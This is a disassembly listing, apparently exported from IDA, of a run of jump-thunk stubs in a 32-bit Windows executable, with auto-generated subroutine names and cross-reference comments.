; Attributes: thunk


sub_401B22	proc near		; DATA XREF: ___:off_43E1B0o
		jmp	sub_42B580
sub_401B22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B27	proc near		; CODE XREF: ___:00416B1Bp
					; ___:00439FE2j ...
		jmp	sub_417A70
sub_401B27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B2C	proc near		; CODE XREF: ___:00408773p
					; ___:00408794p ...
		jmp	sub_407660
sub_401B2C	endp

; ---------------------------------------------------------------------------
		jmp	loc_414B60

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B36	proc near		; CODE XREF: sub_41C6B0+83p
					; sub_428350+3Fp
		jmp	sub_41D5E0
sub_401B36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B3B	proc near		; CODE XREF: sub_41A930+11p
		jmp	sub_41A960
sub_401B3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B40	proc near		; CODE XREF: sub_41E700+339p
		jmp	sub_421CB0
sub_401B40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B45	proc near		; CODE XREF: sub_414CE0+3p
		jmp	sub_414D10
sub_401B45	endp

; ---------------------------------------------------------------------------
		jmp	loc_432D30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B4F	proc near		; CODE XREF: sub_42FB30+29p
		jmp	sub_42F5D0
sub_401B4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B54	proc near		; CODE XREF: sub_40FE10+38p
					; ___:004391F8j
		jmp	sub_412C30
sub_401B54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B59	proc near
		jmp	sub_40D600
sub_401B59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B5E	proc near		; CODE XREF: sub_407660+3Bp
					; sub_4076F0+43p
		jmp	sub_40B4B0
sub_401B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B63	proc near		; CODE XREF: sub_4072D0+3p
		jmp	sub_4074A0
sub_401B63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B68	proc near		; CODE XREF: sub_4248C0+9Dp
					; sub_4248C0+FBp ...
		jmp	sub_424670
sub_401B68	endp

; ---------------------------------------------------------------------------


loc_401B6D:				; DATA XREF: ___:off_43E084o
		jmp	loc_425C60

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B72	proc near		; CODE XREF: sub_40FFD0+413p
					; sub_40FFD0+F69p ...
		jmp	sub_409FE0
sub_401B72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B77	proc near		; CODE XREF: ___:00425504p
		jmp	sub_425570
sub_401B77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B7C	proc near		; CODE XREF: sub_4220F0+32p
		jmp	sub_4224B0
sub_401B7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B81	proc near		; CODE XREF: sub_41B550+A5p
		jmp	sub_41A770
sub_401B81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B86	proc near		; CODE XREF: sub_40BFE0+23p
					; sub_40C1A0+11p
		jmp	sub_40C340
sub_401B86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B8B	proc near		; CODE XREF: ___:0042B8C3p
		jmp	sub_42B8F0
sub_401B8B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B90	proc near
		jmp	sub_41E1E0
sub_401B90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401B95	proc near		; DATA XREF: sub_42FFE0+86o
		jmp	sub_4316E0
sub_401B95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401B9A	proc near		; CODE XREF: sub_4095B0+20p
		jmp	sub_409680
sub_401B9A	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_10. PRESS KEYPAD "+" TO	EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BA4	proc near		; DATA XREF: ___:off_43E0A4o
		jmp	sub_40CC30
sub_401BA4	endp

; ---------------------------------------------------------------------------
		jmp	loc_430A60

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BAE	proc near		; CODE XREF: sub_421C70+1Fp
		jmp	sub_422050
sub_401BAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BB3	proc near		; CODE XREF: sub_4275B0+39p
		jmp	sub_427170
sub_401BB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BB8	proc near		; CODE XREF: sub_4157C0+5p
					; sub_4159D0+6p ...
		jmp	sub_416420
sub_401BB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BBD	proc near		; CODE XREF: sub_430460+5Dp
					; sub_4317C0+3Ep
		jmp	sub_430560
sub_401BBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BC2	proc near		; CODE XREF: ___:004321B9p
					; ___:004321DAp ...
		jmp	sub_430C90
sub_401BC2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BC7	proc near		; CODE XREF: ___:00425E32p
		jmp	sub_426A30
sub_401BC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BCC	proc near		; CODE XREF: sub_41B470+3p
		jmp	sub_41B4A0
sub_401BCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BD1	proc near		; CODE XREF: sub_4282B0+3p
		jmp	sub_4282E0
sub_401BD1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BD6	proc near		; CODE XREF: sub_422AE0+924p
					; ___:0042410Ap
		jmp	sub_425970
sub_401BD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BDB	proc near		; CODE XREF: sub_42D350+18Dp
					; sub_42D350+1CDp ...
		jmp	sub_42E060
sub_401BDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BE0	proc near		; CODE XREF: ___:004142DCp
		jmp	sub_4143D0
sub_401BE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BE5	proc near
		jmp	sub_40C3E0
sub_401BE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BEA	proc near		; CODE XREF: sub_4250A0+8Bp
		jmp	sub_4248C0
sub_401BEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401BEF	proc near		; CODE XREF: ___:0040B19Ep
					; sub_40B1F0+34p ...
		jmp	sub_40BE50
sub_401BEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401BF4	proc near		; CODE XREF: sub_40B130+5Cp
		jmp	sub_40BCF0
sub_401BF4	endp

; ---------------------------------------------------------------------------
		jmp	loc_432850
; ---------------------------------------------------------------------------
		jmp	loc_4311B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C03	proc near		; CODE XREF: sub_430B60+20p
					; sub_430C90+20p ...
		jmp	sub_430720
sub_401C03	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EDC0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C0D	proc near
		jmp	sub_434840
sub_401C0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C12	proc near		; CODE XREF: sub_413850+84p
					; sub_433AB0+3Cp ...
		jmp	sub_4339D0
sub_401C12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C17	proc near		; CODE XREF: sub_42BEF0+678p
		jmp	sub_42B0F0
sub_401C17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C1C	proc near		; CODE XREF: sub_42A8A0+446p
		jmp	sub_42A680
sub_401C1C	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B6C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C26	proc near		; CODE XREF: ___:004312E6p
					; sub_433260+23p
		jmp	sub_431B50
sub_401C26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C2B	proc near		; DATA XREF: ___:off_43E12Co
		jmp	sub_428080
sub_401C2B	endp

; ---------------------------------------------------------------------------
		jmp	loc_41FD20

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C35	proc near		; CODE XREF: sub_41B080+8p
					; ___:0041B43Dp ...
		jmp	sub_41A0B0
sub_401C35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C3A	proc near		; CODE XREF: sub_42A190+3p
		jmp	sub_42A1C0
sub_401C3A	endp

; ---------------------------------------------------------------------------
		jmp	loc_41AE20
; ---------------------------------------------------------------------------
		jmp	loc_416A30

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C49	proc near		; CODE XREF: sub_40BE10+1Fp
		jmp	sub_40BF40
sub_401C49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C4E	proc near		; CODE XREF: sub_415AA0+9p
					; sub_415BC0+18p
		jmp	sub_416670
sub_401C4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C53	proc near		; CODE XREF: sub_418CF0+4p
		jmp	sub_419010
sub_401C53	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C58	proc near		; CODE XREF: sub_407370+11p
					; ___:00407397p ...
		jmp	sub_407520
sub_401C58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C5D	proc near		; CODE XREF: sub_404C70+111p
					; sub_40D600+42p ...
		jmp	sub_40A270
sub_401C5D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C62	proc near		; CODE XREF: ___:0041320Ap
					; sub_413290+3Cp ...
		jmp	sub_415870
sub_401C62	endp

; ---------------------------------------------------------------------------
		jmp	loc_42EA50

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C6C	proc near		; CODE XREF: sub_425740+69p
		jmp	sub_4258B0
sub_401C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C71	proc near		; CODE XREF: sub_40B5A0+2Fp
					; sub_40B5A0+6Ep ...
		jmp	sub_40BDE0
sub_401C71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C76	proc near		; CODE XREF: ___:0042EE18p
					; ___:0042EE2Dp ...
		jmp	sub_432D50
sub_401C76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C7B	proc near		; CODE XREF: sub_4153F0+11p
					; sub_415E70+1Fp
		jmp	sub_416060
sub_401C7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C80	proc near		; DATA XREF: ___:0043E0D4o
		jmp	sub_41D8D0
sub_401C80	endp

; ---------------------------------------------------------------------------
		jmp	loc_4199B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C8A	proc near		; CODE XREF: sub_407370+9p
					; sub_418E20+18p
		jmp	sub_4075C0
sub_401C8A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401C8F	proc near		; CODE XREF: sub_413260+3p
					; ___:00416BDBp ...
		jmp	sub_413290
sub_401C8F	endp

; ---------------------------------------------------------------------------
		jmp	loc_40B890
; ---------------------------------------------------------------------------


loc_401C99:				; DATA XREF: ___:off_43E05Co
		jmp	loc_416D30
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_4. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CA3	proc near		; CODE XREF: ___:00416F0Ap
		jmp	sub_418250
sub_401CA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CA8	proc near		; CODE XREF: sub_415B40+Cp
					; sub_415B40+43p
		jmp	sub_416640
sub_401CA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CAD	proc near		; CODE XREF: sub_409680+45p
		jmp	sub_409960
sub_401CAD	endp

; ---------------------------------------------------------------------------
		jmp	loc_4331D0
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_5. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CBC	proc near		; CODE XREF: sub_40FFD0+3A4p
		jmp	sub_40A080
sub_401CBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CC1	proc near		; CODE XREF: sub_407790+6B6p
					; ___:00407EEDp ...
		jmp	sub_4076F0
sub_401CC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CC6	proc near		; CODE XREF: sub_4154A0+14p
					; sub_4154E0+9p ...
		jmp	sub_416130
sub_401CC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CCB	proc near		; CODE XREF: sub_409680+144p
		jmp	sub_4099F0
sub_401CCB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CD0	proc near		; CODE XREF: sub_404640+1C2p
					; sub_404B10+36p ...
		jmp	sub_413440
sub_401CD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CD5	proc near		; CODE XREF: sub_415160+34p
					; sub_415BC0+67p
		jmp	sub_415D60
sub_401CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CDA	proc near
		jmp	sub_409B20
sub_401CDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CDF	proc near		; DATA XREF: ___:0043E06Co
		jmp	sub_41FCA0
sub_401CDF	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E140

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CE9	proc near		; CODE XREF: sub_40BF10+5p
		jmp	sub_40C170
sub_401CE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CEE	proc near		; CODE XREF: ___:004311CFp
		jmp	sub_42F2C0
sub_401CEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401CF3	proc near		; CODE XREF: sub_421DF0+11p
					; ___:00421E17p ...
		jmp	sub_4223A0
sub_401CF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CF8	proc near		; DATA XREF: ___:0043E048o
		jmp	sub_413260
sub_401CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401CFD	proc near		; CODE XREF: sub_415830+1Fp
		jmp	sub_4161C0
sub_401CFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D02	proc near		; CODE XREF: sub_40F670+1ACp
					; sub_40F670+1EDp ...
		jmp	sub_40F600
sub_401D02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D07	proc near		; CODE XREF: sub_413E10+15Cp
		jmp	sub_414100
sub_401D07	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D0C	proc near		; CODE XREF: sub_404C20+23p
					; sub_40FFD0+13C2p
		jmp	sub_412B90
sub_401D0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D11	proc near		; CODE XREF: ___:00416ECFp
		jmp	sub_4180F0
sub_401D11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D16	proc near		; CODE XREF: sub_407540+7p
					; sub_40C280+7p ...
		jmp	sub_4075E0
sub_401D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D1B	proc near		; CODE XREF: sub_40A890+1Ap
					; sub_40A940+4p ...
		jmp	sub_40A900
sub_401D1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D20	proc near		; CODE XREF: sub_404640+289p
					; sub_404640+2ADp ...
		jmp	sub_40A120
sub_401D20	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F340

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D2A	proc near		; DATA XREF: ___:0043E154o
		jmp	sub_428350
sub_401D2A	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E710

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D34	proc near
		jmp	sub_403FC0
sub_401D34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D39	proc near		; CODE XREF: sub_412050+123p
					; sub_412050+1E2p
		jmp	sub_412720
sub_401D39	endp

; ---------------------------------------------------------------------------
		jmp	loc_41B510
; ---------------------------------------------------------------------------
		jmp	loc_40B810

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D48	proc near		; CODE XREF: sub_421D20+5p
		jmp	sub_422280
sub_401D48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D4D	proc near		; CODE XREF: sub_415F10+5Fp
		jmp	sub_416730
sub_401D4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D52	proc near		; CODE XREF: sub_41D8D0+2C7p
		jmp	sub_42EAD0
sub_401D52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D57	proc near		; CODE XREF: sub_418C40+7p
		jmp	sub_418EE0
sub_401D57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D5C	proc near		; CODE XREF: sub_4136E0+5Dp
					; sub_4136E0+9Bp ...
		jmp	sub_4153C0
sub_401D5C	endp

; ---------------------------------------------------------------------------
		jmp	loc_436130

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D66	proc near		; CODE XREF: sub_4157C0+14p
					; sub_415800+9p ...
		jmp	sub_416480
sub_401D66	endp

; ---------------------------------------------------------------------------
		jmp	loc_40B900

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D70	proc near		; CODE XREF: sub_432F60+98p
		jmp	sub_4306F0
sub_401D70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D75	proc near		; CODE XREF: sub_421C00+14p
					; sub_421C40+9p ...
		jmp	sub_422250
sub_401D75	endp

; ---------------------------------------------------------------------------
		jmp	loc_42C870

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401D7F	proc near
		jmp	sub_41C430
sub_401D7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D84	proc near		; CODE XREF: sub_418A50+14p
					; sub_418A90+9p ...
		jmp	sub_418DC0
sub_401D84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D89	proc near		; CODE XREF: sub_4136E0+53p
					; sub_4136E0+91p ...
		jmp	sub_415210
sub_401D89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D8E	proc near		; CODE XREF: sub_422AE0+56p
		jmp	sub_425930
sub_401D8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D93	proc near		; CODE XREF: sub_422AE0+18Ap
		jmp	sub_425830
sub_401D93	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401D9D	proc near		; CODE XREF: sub_4280D0+81p
		jmp	sub_427B60
sub_401D9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DA2	proc near		; CODE XREF: sub_415710+11p
					; sub_4161C0+1Fp
		jmp	sub_4163B0
sub_401DA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DA7	proc near		; CODE XREF: sub_4151D0+14p
					; sub_415210+9p ...
		jmp	sub_415DE0
sub_401DA7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DAC	proc near		; CODE XREF: ___:00414783p
		jmp	sub_414540
sub_401DAC	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_6. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DB6	proc near		; CODE XREF: sub_427000+90p
		jmp	sub_4275B0
sub_401DB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DBB	proc near		; CODE XREF: ___:0042B208p
		jmp	sub_42AF50
sub_401DBB	endp

; ---------------------------------------------------------------------------
		jmp	loc_414190

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DC5	proc near		; CODE XREF: sub_433870+74p
		jmp	sub_431880
sub_401DC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DCA	proc near		; CODE XREF: sub_41FB30+1Dp
		jmp	sub_40B0F0
sub_401DCA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DCF	proc near		; CODE XREF: sub_40AA70+45p
		jmp	sub_40ACF0
sub_401DCF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DD4	proc near		; CODE XREF: ___:0042F3CDp
					; ___:0042F4F2p ...
		jmp	sub_431A20
sub_401DD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DD9	proc near		; CODE XREF: ___:00425CC4p
		jmp	sub_426F40
sub_401DD9	endp

; ---------------------------------------------------------------------------
		jmp	loc_431AF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DE3	proc near		; CODE XREF: sub_40FFD0+AE7p
					; sub_40FFD0+E5Dp
		jmp	sub_41EF10
sub_401DE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DE8	proc near		; CODE XREF: sub_40AD20+Ap
		jmp	sub_40AE10
sub_401DE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DED	proc near		; CODE XREF: ___:00416ADBp
					; ___:0043A01Aj ...
		jmp	sub_417B80
sub_401DED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401DF2	proc near		; CODE XREF: sub_421F20+4p
		jmp	sub_4223C0
sub_401DF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DF7	proc near		; CODE XREF: sub_40C480+271p
					; sub_4250A0+50p
		jmp	sub_423700
sub_401DF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401DFC	proc near		; CODE XREF: ___:0041621Ap
		jmp	sub_416800
sub_401DFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E01	proc near		; CODE XREF: sub_415D60+7p
		jmp	sub_416560
sub_401E01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E06	proc near		; CODE XREF: sub_41D8D0+19Bp
		jmp	sub_42C820
sub_401E06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E0B	proc near		; CODE XREF: sub_404C70+835p
					; sub_404C70+B62p ...
		jmp	sub_412970
sub_401E0B	endp

; ---------------------------------------------------------------------------
		jmp	sub_413260
; ---------------------------------------------------------------------------
		jmp	sub_4282B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E1A	proc near		; CODE XREF: sub_415430+34p
					; sub_415F10+67p
		jmp	sub_4160B0
sub_401E1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E1F	proc near		; CODE XREF: sub_4136E0+31p
					; sub_414540+2Dp
		jmp	sub_415350
sub_401E1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E24	proc near		; CODE XREF: sub_40CC30+1F1p
					; ___:00423F5Fp ...
		jmp	sub_4256D0
sub_401E24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E29	proc near		; CODE XREF: sub_415990+3p
		jmp	sub_416460
sub_401E29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E2E	proc near		; CODE XREF: sub_404640+97p
					; sub_404640+107p ...
		jmp	sub_40A440
sub_401E2E	endp

; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E38	proc near		; CODE XREF: ___:00423D9Ap
		jmp	sub_4238F0
sub_401E38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E3D	proc near		; CODE XREF: ___:00421DAAp
		jmp	sub_4222B0
sub_401E3D	endp

; ---------------------------------------------------------------------------
		jmp	loc_416DD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E47	proc near
		jmp	sub_435670
sub_401E47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E4C	proc near		; DATA XREF: ___:off_43E098o
		jmp	sub_435780
sub_401E4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E51	proc near		; CODE XREF: ___:0043259Fp
		jmp	sub_42FE40
sub_401E51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E56	proc near		; CODE XREF: sub_416640+5p
		jmp	sub_416890
sub_401E56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E5B	proc near		; CODE XREF: sub_404C70+28Dp
					; sub_41D8D0+6A3p
		jmp	sub_40DBC0
sub_401E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E60	proc near		; CODE XREF: sub_4224B0+5Fp
		jmp	sub_4226A0
sub_401E60	endp

; ---------------------------------------------------------------------------
		jmp	loc_419F30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E6A	proc near		; CODE XREF: sub_40F670+22p
					; sub_4118D0+1Dp ...
		jmp	sub_40AE40
sub_401E6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E6F	proc near		; CODE XREF: sub_40AA70+112p
					; sub_40AA70+153p
		jmp	sub_40AD50
sub_401E6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E74	proc near		; DATA XREF: ___:off_43E0C0o
		jmp	sub_41B0B0
sub_401E74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E79	proc near		; CODE XREF: sub_415670+3p
		jmp	sub_416110
sub_401E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E7E	proc near		; CODE XREF: sub_4269F0+1Ap
		jmp	sub_4268B0
sub_401E7E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E83	proc near		; CODE XREF: ___:00416BABp
					; ___:00439F64j ...
		jmp	sub_417680
sub_401E83	endp

; ---------------------------------------------------------------------------
		jmp	loc_431F50

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401E8D	proc near		; CODE XREF: sub_420190+3Ap
		jmp	sub_4203A0
sub_401E8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E92	proc near		; DATA XREF: ___:0043E114o
		jmp	sub_427000
sub_401E92	endp

; ---------------------------------------------------------------------------
		jmp	loc_432890

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401E9C	proc near		; CODE XREF: sub_4163B0+4p
		jmp	sub_4167B0
sub_401E9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EA1	proc near		; CODE XREF: sub_4158C0+5Bp
					; sub_416260+11p ...
		jmp	sub_4164B0
sub_401EA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EA6	proc near		; CODE XREF: sub_4156E0+5p
		jmp	sub_416190
sub_401EA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EAB	proc near		; CODE XREF: sub_4248C0+151p
		jmp	sub_424880
sub_401EAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EB0	proc near		; CODE XREF: ___:00416B4Bp
					; ___:00439FB8j ...
		jmp	sub_4178D0
sub_401EB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EB5	proc near		; CODE XREF: sub_415350+3p
		jmp	sub_415DC0
sub_401EB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401EBA	proc near		; CODE XREF: sub_4150A0+11p
					; sub_4150E0+13p ...
		jmp	sub_415D10
sub_401EBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401EBF	proc near		; CODE XREF: sub_421A00+14p
					; sub_421A40+9p ...
		jmp	sub_421FF0
sub_401EBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401EC4	proc near		; CODE XREF: ___:00436C2Dp
		jmp	sub_418900
sub_401EC4	endp

; ---------------------------------------------------------------------------
		jmp	loc_41C2F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401ECE	proc near		; CODE XREF: sub_418F30+18p
					; sub_421D50+9p
		jmp	sub_4190F0
sub_401ECE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401ED3	proc near		; CODE XREF: sub_4225E0+Ap
		jmp	sub_422780
sub_401ED3	endp

; ---------------------------------------------------------------------------
		jmp	loc_41BCF0
; ---------------------------------------------------------------------------
		jmp	loc_432940

